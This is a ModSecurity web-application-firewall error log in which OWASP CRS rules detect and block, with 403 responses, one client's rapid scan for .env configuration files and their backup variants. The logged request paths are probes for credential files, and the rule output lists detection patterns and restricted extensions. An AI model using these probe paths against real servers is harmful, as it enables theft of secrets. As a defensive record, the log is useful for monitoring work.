[Thu Oct 30 20:07:58.895526 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQO3jkIRheG_olLGGo-lrQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:58.895766 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQO3jkIRheG_olLGGo-lrQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:58.895951 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQO3jkIRheG_olLGGo-lrQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:59.462507 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aQO3j0IRheG_olLGGo-lrgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:59.462890 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aQO3j0IRheG_olLGGo-lrgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:59.463172 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aQO3j0IRheG_olLGGo-lrgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:00.019662 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aQO3kEIRheG_olLGGo-lrwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:00.019932 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aQO3kEIRheG_olLGGo-lrwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:00.020138 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aQO3kEIRheG_olLGGo-lrwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:00.550238 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aQO3kEIRheG_olLGGo-lsAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:00.550465 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aQO3kEIRheG_olLGGo-lsAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:00.550710 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aQO3kEIRheG_olLGGo-lsAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:00.550918 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aQO3kEIRheG_olLGGo-lsAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:01.119759 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aQO3kUIRheG_olLGGo-lsQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:01.120018 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aQO3kUIRheG_olLGGo-lsQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:01.120218 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aQO3kUIRheG_olLGGo-lsQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:01.669882 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aQO3kUIRheG_olLGGo-lsgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:01.670137 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aQO3kUIRheG_olLGGo-lsgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:01.670331 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aQO3kUIRheG_olLGGo-lsgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:02.221492 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aQO3kkIRheG_olLGGo-lswAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:02.221765 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aQO3kkIRheG_olLGGo-lswAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:02.221966 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aQO3kkIRheG_olLGGo-lswAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:02.805141 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQO3kkIRheG_olLGGo-ltAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:02.805400 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQO3kkIRheG_olLGGo-ltAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:02.805592 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQO3kkIRheG_olLGGo-ltAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:03.332204 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aQO3k0IRheG_olLGGo-ltQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:03.332466 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aQO3k0IRheG_olLGGo-ltQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:03.332665 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aQO3k0IRheG_olLGGo-ltQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:03.891469 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aQO3k0IRheG_olLGGo-ltgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:03.891654 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aQO3k0IRheG_olLGGo-ltgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:03.891922 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aQO3k0IRheG_olLGGo-ltgAAAAI&quot;], referer: https://www.google.com/
